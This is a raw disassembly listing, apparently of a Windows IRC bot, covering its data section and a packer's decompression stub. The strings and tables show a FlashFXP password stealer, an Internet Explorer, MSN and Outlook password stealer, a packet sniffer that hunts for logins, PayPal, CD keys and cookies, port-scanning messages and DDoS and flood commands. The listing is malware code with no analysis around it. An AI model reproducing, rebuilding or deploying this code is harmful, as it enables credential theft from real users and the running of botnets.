					; DATA XREF: sub_40EC6F+A7o
		dd 30032074h, 73250234h, 203h
unk_416DF0	db  53h	; S		; DATA XREF: sub_40ED30+1B4o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db  25h	; %
		db 73h,	20h, 69h
		db  6Eh	; n
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 30h
		db  2Eh	; .
		db 32h,	66h, 3
		db    2
		db 73h,	65h, 63h
		db  2Eh	; .
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 6Fh
aPenPortSFound	db 'pen port(s) found',0
		align 4
dword_416E2C	dd 33A7325h, 25023430h,	20020373h, 6F207369h, 6E6570h
					; DATA XREF: sub_40ED30+164o
dword_416E40	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_40ED30+81o
		dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh
		dd 3752502h, 69772002h,	3206874h, 25023430h, 20020375h
		dd 6B636F73h, 73287465h, 29h
dword_416E88	dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h
					; DATA XREF: sub_40EF0E+15Fo
		dd 3752502h, 30032D02h,	75250234h, 77200203h, 20687469h
		dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h
aYa36za48dehfrv	db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_40F089+15o
					; sub_40F089+73o
		align 4
aSflashfxpSites	db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_40F11A+DAo
		align 4
aFlashfxpSites_	db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_40F11A+9Co
aProgramfiles	db 'ProgramFiles',0     ; DATA XREF: sub_40F11A+91o
		align 10h
aSites_dat	db 'sites.dat',0        ; DATA XREF: sub_40F11A+6Co
		align 4
aFlashfxp_exe1	db 'FlashFXP.exe %1',0  ; DATA XREF: sub_40F11A+55o
aSoftwareClasse	db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0
					; DATA XREF: sub_40F11A+15o
		align 4
unk_416F7C	db  2Dh	; -		; DATA XREF: sub_40F21F+2D3o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 2Fh, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aFlashfxpPass_0	db 'FlashFXP password(s).',0
		align 4
dword_416FB8	dd 2343003h, 2037525h	; DATA XREF: sub_40F21F+27Ao
a_FlashfxpFtpSS	db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0
aPass127s	db 0Dh,0Ah		; DATA XREF: sub_40F21F+219o
		db 'Pass=%127s',0Dh,0Ah,0
		align 4
aUser127s	db 0Dh,0Ah		; DATA XREF: sub_40F21F+202o
		db 'User=%127s',0Dh,0Ah,0
		align 4
aPort127s	db 0Dh,0Ah		; DATA XREF: sub_40F21F+1EBo
		db 'Port=%127s',0Dh,0Ah,0
		align 4
aIp127s		db 0Dh,0Ah		; DATA XREF: sub_40F21F+1D4o
		db 'IP=%127s',0Dh,0Ah,0
		align 4
asc_417024	db '[%[^]]]',0Dh,0Ah,0  ; DATA XREF: sub_40F21F+1A7o
		align 10h
aPass_0		db 0Dh,0Ah		; DATA XREF: sub_40F21F+130o
		db 'Pass=',0
aUser_0		db 0Dh,0Ah		; DATA XREF: sub_40F21F+122o
		db 'User=',0
aPort		db 0Dh,0Ah		; DATA XREF: sub_40F21F+114o
		db 'Port=',0
aIp		db 0Dh,0Ah		; DATA XREF: sub_40F21F+107o
		db 'IP=',0
		align 10h
asc_417050	db 0Dh,0Ah		; DATA XREF: sub_40F21F:loc_40F31Bo
		db 0Dh,0Ah
		db '[',0
		align 4
unk_417058	db  2Dh	; -		; DATA XREF: sub_40F21F+5Co
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingFlashfx	db '- Listing FlashFXP passwords',0
		align 10h
aFlashfxpPasswo	db 'FlashFXP password stealer',0 ; DATA XREF: sub_40F515+21o
		align 4
unk_41709C	db  2Dh	; -		; DATA XREF: sub_40F54D+718o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 69h
aNternetExplore	db 'nternet explorer password(s).',0
		align 4
dword_4170D8	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh
					; DATA XREF: sub_40F54D+688o
		dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh
		dd 203A6574h, 2343003h,	2037325h, 614E202Eh, 203A656Dh
		dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h
		dd 2343003h, 2037325h, 2Eh
dword_417134	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh
					; DATA XREF: sub_40F54D+5F2o
		dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h
		dd 3203A64h, 25023430h,	2E020373h, 74614420h, 3203A61h
		dd 25023430h, 2E020373h, 0
dword_41717C	dd 70747468h, 2F3A73h	; DATA XREF: sub_40F54D+5B0o
dword_417184	dd 70747468h, 2F3Ah	; DATA XREF: sub_40F54D+599o
dword_41718C	dd 7274533Ah, 676E69h	; DATA XREF: sub_40F54D+554o
aStringindex	db 'StringIndex',0      ; DATA XREF: sub_40F54D+53Fo
aE161255a	db 'e161255a',0         ; DATA XREF: sub_40F54D+525o
		align 4
dword_4171AC	dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h
					; DATA XREF: sub_40F54D+4FEo
		dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
dword_4171EC	dd 2Ch			; DATA XREF: sub_40F54D+442o
					; sub_40F54D+619o
aB9819c52	db 'b9819c52',0         ; DATA XREF: sub_40F54D+3B7o
		align 4
dword_4171FC	dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h
					; DATA XREF: sub_40F54D+3A3o
		dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h
		dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h
		dd 2037325h, 6150202Eh,	6F777373h, 203A6472h, 2343003h
		dd 2037325h, 2Eh
a5e7e8100	db '5e7e8100',0         ; DATA XREF: sub_40F54D+310o
		align 10h
dword_417260	dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh
					; DATA XREF: sub_40F54D+2FCo
		dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
a220d5cc1	db '220d5cc1',0         ; DATA XREF: sub_40F54D+2CEo
		align 4
aWs		db '%ws',0              ; DATA XREF: sub_40F54D+1FAo
asc_4172B0	db '%x',0               ; DATA XREF: sub_40F54D+117o
		align 4
unk_4172B4	db  2Dh	; -		; DATA XREF: sub_40F54D+B0o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingInterne	db '- Listing internet explorer passwords',0
		align 8
dword_4172E8	dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_40F54D+85o
					; sub_40F54D+154o ...
aInternetExplor	db 'Internet explorer password stealer',0 ; DATA XREF: sub_40FCB2+2Ao
		align 4
dword_41731C	dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h
					; DATA XREF: sub_40FD00+180o
		dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah
		dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h
		dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h
		dd 3732502h, 57202E02h,	646C726Fh, 20664F20h, 63726157h
		dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h
		dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h
		dd 2Eh
aSoftwareValveS	db 'Software\Valve\Steam',0 ; DATA XREF: sub_40FD00+EFo
		align 4
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0
					; DATA XREF: sub_40FD00+BFo
		align 4
aConquer	db '[Conquer]',0        ; DATA XREF: sub_40FD00+91o
		align 10h
aWorldOfWarcraf	db 'World Of Warcraft',0 ; DATA XREF: sub_40FD00+77o
		align 4
aUnreal3	db 'Unreal3',0          ; DATA XREF: sub_40FD00+59o
aListingInteres	db 'Listing interesting processes',0 ; DATA XREF: sub_40FEA2+21o
		align 4
off_41744C	dd offset aUser_1	; DATA XREF: sub_40FF2A+2Do
					; "user	"
		dd offset aUnknown_1	; "unknown "
		dd offset aPass_2	; "pass	"
		dd offset aMailpass	; "MailPass "
		dd offset aOper		; "oper	"
		dd 0
		dd offset aIdentify	; "identify "
		dd 0
		dd offset aAuth_0	; " :auth "
		dd 0
		dd offset aPasswd_0	; "passwd="
		dd 0
		dd offset aUsername_0	; "username="
		dd 0
		dd offset aPassword_0	; "password="
		dd 0
		dd offset aLogin_1	; "login="
		dd 0
		dd offset aPass_1	; "pass="
		dd 0
		dd offset aPw		; "pw="
		dd 2 dup(0)
off_4174A8	dd offset aLogin_0	; DATA XREF: sub_40FF2A+45o
					; "login "
		align 10h
		dd offset aSxt		; "sxt "
		align 8
		dd offset aAuth		; "auth	"
		align 10h
		dd offset aPasswort	; "passwort "
		align 8
		dd offset aCdkey	; "cdkey"
		align 10h
		dd offset aCdKey_0	; "cd-key"
		align 8
		dd offset aCdKey	; "cd key"
		align 10h
		dd offset aPassword	; "password"
		align 8
		dd offset aPaypal_com	; "paypal.com"
		align 10h
		dd offset aPaypal	; "paypal"
		align 8
		dd offset aIrcOperator	; "irc operator"
		align 10h
		dd offset aLP		; "l/p"
		align 8
		dd offset aSsh1_5	; "SSH-1.5"
		align 10h
		dd offset aSsh1_99	; "SSH-1.99"
		dd 2 dup(0)
off_41751C	dd offset aSetCookie	; DATA XREF: sub_40FF2A+5Do
					; "Set-Cookie:"
		dd 0
		dd offset aSyn		; "syn"
		dd 0
		dd offset aFlood	; "flood "
		dd 0
		dd offset aClone	; "clone "
		dd 0
		dd offset aServU_0	; "serv-u"
		dd 0
		dd offset aServU	; "serv	u"
		dd 0
		dd offset aServu	; "servu"
		dd 0
		dd offset aDdos		; "ddos"
		align 10h
off_417560	dd offset dword_4175BC	; DATA XREF: sub_40FF2A+75o
		align 8
		dd offset dword_4175B4
		align 10h
		dd offset dword_4175AC
		align 8
		dd offset dword_4175A4
		align 10h
		dd offset dword_41759C
		align 8
		dd offset dword_417594
		dd 2 dup(0)
dword_417594	dd 54495551h, 20h	; DATA XREF: .data:00417588o
dword_41759C	dd 54524150h, 20h	; DATA XREF: .data:00417580o
dword_4175A4	dd 4E494F4Ah, 20h	; DATA XREF: .data:00417578o
dword_4175AC	dd 49504F54h, 2043h	; DATA XREF: .data:00417570o
dword_4175B4	dd 49544F4Eh, 204543h	; DATA XREF: .data:00417568o
dword_4175BC	dd 56495250h, 2047534Dh, 0 ; DATA XREF:	.data:off_417560o
aDdos		db 'ddos',0             ; DATA XREF: .data:00417554o
		align 10h
aServu		db 'servu',0            ; DATA XREF: .data:0041754Co
		align 4
aServU		db 'serv u',0           ; DATA XREF: .data:00417544o
		align 10h
aServU_0	db 'serv-u',0           ; DATA XREF: .data:0041753Co
		align 4
aClone		db 'clone ',0           ; DATA XREF: .data:00417534o
		align 10h
aFlood		db 'flood ',0           ; DATA XREF: .data:0041752Co
		align 4
aSyn		db 'syn',0              ; DATA XREF: .data:00417524o
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: .data:off_41751Co
aSsh1_99	db 'SSH-1.99',0         ; DATA XREF: .data:00417510o
		align 4
aSsh1_5		db 'SSH-1.5',0          ; DATA XREF: .data:00417508o
aLP		db 'l/p',0              ; DATA XREF: .data:00417500o
aIrcOperator	db 'irc operator',0     ; DATA XREF: .data:004174F8o
		align 10h
aPaypal		db 'paypal',0           ; DATA XREF: .data:004174F0o
		align 4
aPaypal_com	db 'paypal.com',0       ; DATA XREF: .data:004174E8o
		align 4
aCdKey		db 'cd key',0           ; DATA XREF: .data:004174D8o
		align 4
aCdKey_0	db 'cd-key',0           ; DATA XREF: .data:004174D0o
		align 4
aCdkey		db 'cdkey',0            ; DATA XREF: .data:004174C8o
		align 4
aPasswort	db 'passwort ',0        ; DATA XREF: .data:004174C0o
		align 4
aAuth		db 'auth ',0            ; DATA XREF: .data:004174B8o
		align 10h
aSxt		db 'sxt ',0             ; DATA XREF: .data:004174B0o
		align 4
aLogin_0	db 'login ',0           ; DATA XREF: .data:off_4174A8o
		align 10h
aPw		db 'pw=',0              ; DATA XREF: .data:0041749Co
aPass_1		db 'pass=',0            ; DATA XREF: .data:00417494o
		align 4
aLogin_1	db 'login=',0           ; DATA XREF: .data:0041748Co
		align 4
aPassword_0	db 'password=',0        ; DATA XREF: .data:00417484o
		align 10h
aUsername_0	db 'username=',0        ; DATA XREF: .data:0041747Co
		align 4
aPasswd_0	db 'passwd=',0          ; DATA XREF: .data:00417474o
aAuth_0		db ' :auth ',0          ; DATA XREF: .data:0041746Co
aIdentify	db 'identify ',0        ; DATA XREF: .data:00417464o
		align 4
aOper		db 'oper ',0            ; DATA XREF: .data:0041745Co
		align 10h
aMailpass	db 'MailPass ',0        ; DATA XREF: .data:00417458o
		align 4
aPass_2		db 'pass ',0            ; DATA XREF: .data:00417454o
		align 4
aUnknown_1	db 'unknown ',0         ; DATA XREF: .data:00417450o
		align 10h
aUser_1		db 'user ',0            ; DATA XREF: .data:off_41744Co
		align 4
dword_4176F8	dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h
					; DATA XREF: sub_40FFBC+379o
		dd 3206D6Fh, 25023430h,	3A020373h, 2343003h, 2037525h
		dd 73253E2Dh, 2075253Ah, 0
unk_41772C	db  2Dh	; -		; DATA XREF: sub_40FFBC+FBo
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  65h	; e
		db 76h,	65h, 6Ch
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aPacketSnifferR	db ' packet sniffer running',0
		align 10h
dword_417760	dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h
					; DATA XREF: sub_41041B+6Fo
		dd 6E732074h, 65666669h, 72h, 417784h, 0DE86ABE6h, 0D19B9286h
		dd 0FE85E38Ah, 2 dup(0)
dword_417798	dd 9EC754A2h		; DATA XREF: seg000:004105A3r
					; seg000:00410627o
dword_41779C	dd 0FE66D46Ah		; DATA XREF: seg000:0041059Cr
dword_4177A0	dd 24016BE8h		; DATA XREF: seg000:00410591r
dword_4177A4	dd 58A92B8h		; DATA XREF: seg000:0041058Br
		dd 0
off_4177AC	dd offset dword_417A7C	; DATA XREF: sub_4098BB+108r
					; sub_4098BB+110o ...
		dd 2 dup(0)
off_4177B8	dd offset dword_4166F0	; DATA XREF: sub_408832+51r
					; sub_408832+59o ...
off_4177BC	dd offset dword_4166E4	; DATA XREF: sub_408832+85r
off_4177C0	dd offset dword_4166D8	; DATA XREF: sub_408832+96r
		dd offset dword_4166C8
		dd offset dword_4166BC
		dd offset dword_4166D8
		dd 3 dup(0)
; ---------------------------------------------------------------------------


loc_4177DC:				; DATA XREF: sub_4088FC+126o
					; sub_408F9D+27Bo
		test	eax, 978DD6FBh
		retn
; ---------------------------------------------------------------------------
		dw 9ED0h
		dd 2 dup(0)
dword_4177EC	dd 6F7823h, 1Fh	dup(0)	; DATA XREF: sub_40287C+109o
					; sub_4064A0+59o ...
byte_41786C	db 0B5h			; DATA XREF: sub_4088FC+23Er
					; sub_4088FC+24Do
		db 0BCh, 86h, 9Fh
		dd 0C0h, 1Eh dup(0)
byte_4178EC	db 0			; DATA XREF: sub_4088FC+261r
					; sub_4088FC+26Fo
		align 10h
		dd 1Fh dup(0)
dword_41796C	dd 3430032Eh, 4F4E4102h, 203h ;	DATA XREF: sub_40735A:loc_408362o
					; sub_408F9D+206o
dword_417978	dd 0D18BA1E1h, 8FDDCFC4h, 9BE0C0h, 3Eh dup(0) ;	DATA XREF: sub_4045E4+33o
					; sub_404691+32o
dword_417A7C	dd 0DD9184BCh, 2 dup(0)	; DATA XREF: .data:off_4177ACo
dword_417A88	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: seg000:00410802o
aEipHasLeftTheE	db '- eip has left the endless loop for some reason...',0
		align 4
aEntry		db 'entry',0            ; DATA XREF: seg000:004107DBo
		align 10h
aLoop		db 'loop',0             ; DATA XREF: seg000:loc_4107A7o
		align 4
aPing08x	db 'PING :%08X',0       ; DATA XREF: seg000:0041074Co
		align 4
a08xX08x3x08x08	db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: seg000:004105A9o
		align 10h
dword_417B00	dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_410B6E+15o
off_417B10	dd offset off_4112CC	; DATA XREF: seg001:off_4112D0o
					; seg001:0041130Co ...
		align 8
a_?av_com_error	db '.?AV_com_error@@',0
		align 10h
off_417B30	dd offset off_4112CC	; DATA XREF: seg001:off_411318o
					; seg001:00411354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
dword_417B48	dd 0			; DATA XREF: sub_401534:loc_401548r
					; sub_401621+143w
dword_417B4C	dd 0			; DATA XREF: sub_401534:loc_401555r
					; sub_401621+14Bw ...
dword_417B50	dd 0			; DATA XREF: sub_401534:loc_401562r
					; sub_401621+ACo ...
dword_417B54	dd 0			; DATA XREF: sub_401534r
					; sub_401621+13Bw ...
		dd 0
dword_417B5C	dd 0			; DATA XREF: sub_401571+35r
					; sub_401571+50r ...
byte_417B60	db 0			; DATA XREF: sub_401621+10Bo
					; sub_402230+3Br ...
		align 8
dword_417B68	dd 0			; DATA XREF: sub_40287C+1Dr
					; sub_4038E1:loc_4038F3r ...
dword_417B6C	dd 0			; DATA XREF: sub_40287C+Eo
dword_417B70	dd 77E7C706h		; DATA XREF: sub_402D7B+21w
					; sub_406AB6+Fr
		align 8
dword_417B78	dd 71C245E0h		; DATA XREF: sub_402D7B+42w
dword_417B7C	dd 71C243F6h		; DATA XREF: sub_402D7B+4Fw
dword_417B80	dd 71C59904h		; DATA XREF: sub_402D7B+5Cw
dword_417B84	dd 71C453F8h		; DATA XREF: sub_402D7B+69w
dword_417B88	dd 71C2FA86h		; DATA XREF: sub_402D7B+76w
dword_417B8C	dd 71C574FAh		; DATA XREF: sub_402D7B+83w
dword_417B90	dd 71C214BAh		; DATA XREF: sub_402D7B+90w
dword_417B94	dd 71C4A1B4h		; DATA XREF: sub_402D7B+9Dw
dword_417B98	dd 71C59530h		; DATA XREF: sub_402D7B+A4w
dword_417B9C	dd 71B2ACCBh		; DATA XREF: sub_402D7B+C4w
					; sub_40C225+12r ...
dword_417BA0	dd 71B22C25h		; DATA XREF: sub_402D7B+D1w
dword_417BA4	dd 71B2A381h		; DATA XREF: sub_402D7B+DEw
					; sub_40C225+1Er ...
dword_417BA8	dd 71B28D0Dh		; DATA XREF: sub_402D7B+E5w
dword_417BAC	dd 7622A3F4h		; DATA XREF: sub_402D7B+17Aw
					; sub_405E4E+D3r
dword_417BB0	dd 5E0C4E7Dh		; DATA XREF: sub_402D7B+162w
					; sub_40F54D+41r ...
dword_417BB4	dd 71AB33DFh		; DATA XREF: sub_402D7B+101w
					; sub_402D7B+115r ...
dword_417BB8	dd 71ABC076h		; DATA XREF: sub_401B81+9Ar
					; sub_402D7B+10Ew ...
dword_417BBC	dd 71AB3A2Ch		; DATA XREF: sub_402D7B+11Cw
					; sub_402D7B+145w ...
		dd 101h	dup(0)
dword_417FC4	dd 0			; DATA XREF: sub_4032EFr
					; sub_4032EF+1Bo
dword_417FC8	dd 0			; DATA XREF: sub_4032EF+Fo
					; sub_4032EF:loc_403317r
		align 10h
dword_417FD0	dd 76BF1C22h		; DATA XREF: sub_403E9B+40w
					; sub_403E9B+63r ...
dword_417FD4	dd 76BF1D54h		; DATA XREF: sub_403E9B+4Dw
					; sub_403E9B+6Cr ...
dword_417FD8	dd 76BF1E6Ch		; DATA XREF: sub_403E9B+5Bw
					; sub_403F1D+150r
dword_417FDC	dd 76BF32DDh		; DATA XREF: sub_403E9B+33w
					; sub_403E9B+54r ...
dword_417FE0	dd 14AE70h, 0FFFFFFFFh,	5 dup(0) ; DATA	XREF: sub_403E9B+1o
					; sub_403F1D+Co ...
byte_417FFC	db 1			; DATA XREF: sub_403E9B+79w
					; sub_403F1D+16r
		align 10h
dword_418000	dd 0			; DATA XREF: sub_406324:loc_406394w
					; sub_40640D:loc_406474r
		align 8
dword_418008	dd 14AE98h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_40647C+16o
					; sub_40663C+7o ...
dword_418020	dd 0			; DATA XREF: sub_40647Cw
					; sub_40663C+11r ...
		align 8
dword_418028	dd 883A00h		; DATA XREF: sub_40647C+11w
					; sub_40663C:loc_406667r ...
dword_41802C	dd 0			; DATA XREF: sub_406B1B+6r
					; sub_406BE0+60w ...
dword_418030	dd 0			; DATA XREF: sub_406BE0+42w
					; sub_406BE0+65r ...
dword_418034	dd 0			; DATA XREF: sub_406B1B+A9r
					; sub_406BE0+7Fw ...
dword_418038	dd 0			; DATA XREF: sub_406B1B+80r
					; sub_406BE0+72w ...
		align 10h
byte_418040	db 0			; DATA XREF: sub_406BE0+2Dr
					; sub_406BE0+84w
		align 4
		dd 101h	dup(0)
byte_418448	db 0			; DATA XREF: sub_408832+Bo
					; sub_4088FC+27r ...
		align 4
		dd 5Fh dup(0)
dword_4185C8	dd 40h dup(0)		; DATA XREF: sub_408832+15o
					; sub_408832+7Bo ...
dword_4186C8	dd 3 dup(0)		; DATA XREF: sub_408832:loc_408862o
					; sub_408832+8Bo ...
dword_4186D4	dd 0			; DATA XREF: sub_40882Cr
					; sub_408BA7+15r ...
		dd 0
dword_4186DC	dd 0			; DATA XREF: sub_4098BB+47w
byte_4186E0	db 0			; DATA XREF: sub_409AB1+6o
					; sub_409AB1+15w ...
		align 4
		dd 9 dup(0)
		dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0
		dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh
		dd 16151413h, 191817h, 0
		db    0
		db 1Ah,	1Bh, 1Ch
		db  1Dh
		db 1Eh,	1Fh, 20h
a_0123		db '!"#$%&',27h,'()*+,-./0123',0
		dd 22h dup(0)
byte_4187E4	db 0A5h			; DATA XREF: sub_409C8B+22o
					; sub_409C8B+2Fo ...
		db 4Ch,	0D2h, 0C8h
		dd 43B7C728h, 32FBC842h, 0AA6009Dh, 0
dword_4187F8	dd 3187DD79h, 178BAD05h, 67BB4D1Dh, 513F55B9h, 0 ; DATA	XREF: sub_409D01+24o
					; sub_409D01+31o ...
dword_41880C	dd 13418097h		; DATA XREF: sub_40A9A3+24o
					; sub_40AA05+5w ...
dword_418810	dd 0D3722D71h		; DATA XREF: sub_40A9A3+30o
					; sub_40AA05+Fw ...
dword_418814	dd 0E2E4DA0h		; DATA XREF: sub_40A9A3+3Co
					; sub_40AA05+19w ...
dword_418818	dd 2DBAE97Eh		; DATA XREF: sub_40A9A3+48o
					; sub_40AA05+23w ...
		align 10h
byte_418820	db 96h			; DATA XREF: sub_40ABCC+24o
					; sub_40ABCC+31o ...
		db 0C4h, 0E9h, 0B2h
		dd 0A1EFFCA8h, 99F78CA4h, 82B580F6h, 2 dup(0)
dword_418838	dd 2 dup(0)		; DATA XREF: sub_40CA47+448o
dword_418840	dd 0			; DATA XREF: sub_40D201+308o
dword_418844	dd 2 dup(0)		; DATA XREF: sub_40D201+31Ao
dword_41884C	dd 0			; DATA XREF: sub_40D88A+Er
					; sub_40D88A+1Fw
dword_418850	dd 0			; DATA XREF: sub_40D88A:loc_40D90Fw
					; sub_40D88A:loc_40D915r
dword_418854	dd 2 dup(0)		; DATA XREF: sub_40DC42o
					; sub_40DCB8+78o
dword_41885C	dd 6B636170h, 652E6465h, 6578h,	3Eh dup(0) ; DATA XREF:	sub_4049B5+12Do
					; sub_404BC3:loc_404C67o ...
dword_418960	dd 302B5E28h		; DATA XREF: seg000:0041064Aw
dword_418964	dd 25981FBh		; DATA XREF: seg000:00410654w
dword_418968	dd 76D210D5h		; DATA XREF: seg000:0041065Ew
dword_41896C	dd 2315C2DBh		; DATA XREF: seg000:00410668w
dword_418970	dd 6B636170h, 652E6465h, 6578h,	3Fh dup(0) ; DATA XREF:	sub_40735A+51Ao
					; sub_40735A+52Eo ...
dword_418A78	dd 40h dup(0)		; DATA XREF: sub_40735A+7C0o
					; sub_4088FC+26Ao ...
byte_418B78	db 0			; DATA XREF: sub_4088FC+E2r
					; sub_4088FC+EBo ...
		align 4
		dd 1Fh dup(0)
byte_418BF8	db 0			; DATA XREF: sub_402EFD+E4r
					; sub_402EFD+F0o ...
		align 4
		dd 1Fh dup(0)
dword_418C78	dd 40h dup(0)		; DATA XREF: sub_403289+34o
					; sub_405580+54o ...
byte_418D78	db 0			; DATA XREF: sub_40735A+EC6o
					; sub_4088FC+7Fr ...
		align 400h
_data		ends

; Section 4. (virtual address 00019000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00019000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
SoftComp	segment	para public 'CODE' use32
		assume cs:SoftComp
		;org 419000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 77E7A5FDh, 77E7980Ah, 77E805D8h, 77E79E34h, 77D6ADD7h
		dd 400000h, 83A5611Dh, 0E93F94E9h, 0D72D8250h, 0C61C7182h
		dd 0B50B6071h, 0A4F94F60h, 41534C54h, 0Ah dup(0)

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_24		= dword	ptr -24h
arg_4B		= dword	ptr  4Fh

; FUNCTION CHUNK AT 00419127 SIZE 000000E6 BYTES
; FUNCTION CHUNK AT 00419210 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0041921B SIZE 00000028 BYTES

		pusha
		jmp	loc_419127
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_419062	proc near		; CODE XREF: start+17Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00419101 SIZE 0000000A BYTES

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h
		xor	ebx, ebx


loc_419070:				; CODE XREF: sub_419062+16j
		movsb
		mov	bl, 2


loc_419073:				; CODE XREF: sub_419062+3Bj
					; sub_419062+81j
		call	sub_4190E5
		jnb	short loc_419070
		xor	ecx, ecx
		call	sub_4190E5
		jnb	short loc_41909F
		xor	eax, eax
		call	sub_4190E5
		jnb	short loc_4190AF
		mov	bl, 2
		inc	ecx
		mov	al, 10h


loc_419091:				; CODE XREF: sub_419062+36j
		call	sub_4190E5
		adc	al, al
		jnb	short loc_419091
		jnz	short loc_4190DB
		stosb
		jmp	short loc_419073
; ---------------------------------------------------------------------------


loc_41909F:				; CODE XREF: sub_419062+1Fj
		call	sub_4190F1
		sub	ecx, ebx
		jnz	short loc_4190B8
		call	sub_4190EF
		jmp	short loc_4190D7
; ---------------------------------------------------------------------------


loc_4190AF:				; CODE XREF: sub_419062+28j
		lodsb
		shr	eax, 1
		jz	short loc_419101
		adc	ecx, ecx
		jmp	short loc_4190D4
; ---------------------------------------------------------------------------


loc_4190B8:				; CODE XREF: sub_419062+44j
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		call	sub_4190EF
		cmp	eax, 7D00h
		jnb	short loc_4190D4
		cmp	ah, 5
		jnb	short loc_4190D5
		cmp	eax, 7Fh
		ja	short loc_4190D6


loc_4190D4:				; CODE XREF: sub_419062+54j
					; sub_419062+66j
		inc	ecx


loc_4190D5:				; CODE XREF: sub_419062+6Bj
		inc	ecx


loc_4190D6:				; CODE XREF: sub_419062+70j
		xchg	eax, ebp


loc_4190D7:				; CODE XREF: sub_419062+4Bj
		mov	eax, ebp
		mov	bl, 1


loc_4190DB:				; CODE XREF: sub_419062+38j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_419073
sub_419062	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190E5	proc near		; CODE XREF: sub_419062:loc_419073p
					; sub_419062+1Ap ...
		add	dl, dl
		jnz	short locret_4190EE
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_4190EE:				; CODE XREF: sub_4190E5+2j
		retn
sub_4190E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190EF	proc near		; CODE XREF: sub_419062+46p
					; sub_419062+5Cp
		xor	ecx, ecx
sub_4190EF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4190F1	proc near		; CODE XREF: sub_419062:loc_41909Fp
		inc	ecx


loc_4190F2:				; CODE XREF: sub_4190F1+Dj
		call	sub_4190E5
		adc	ecx, ecx
		call	sub_4190E5
		jb	short loc_4190F2
		retn
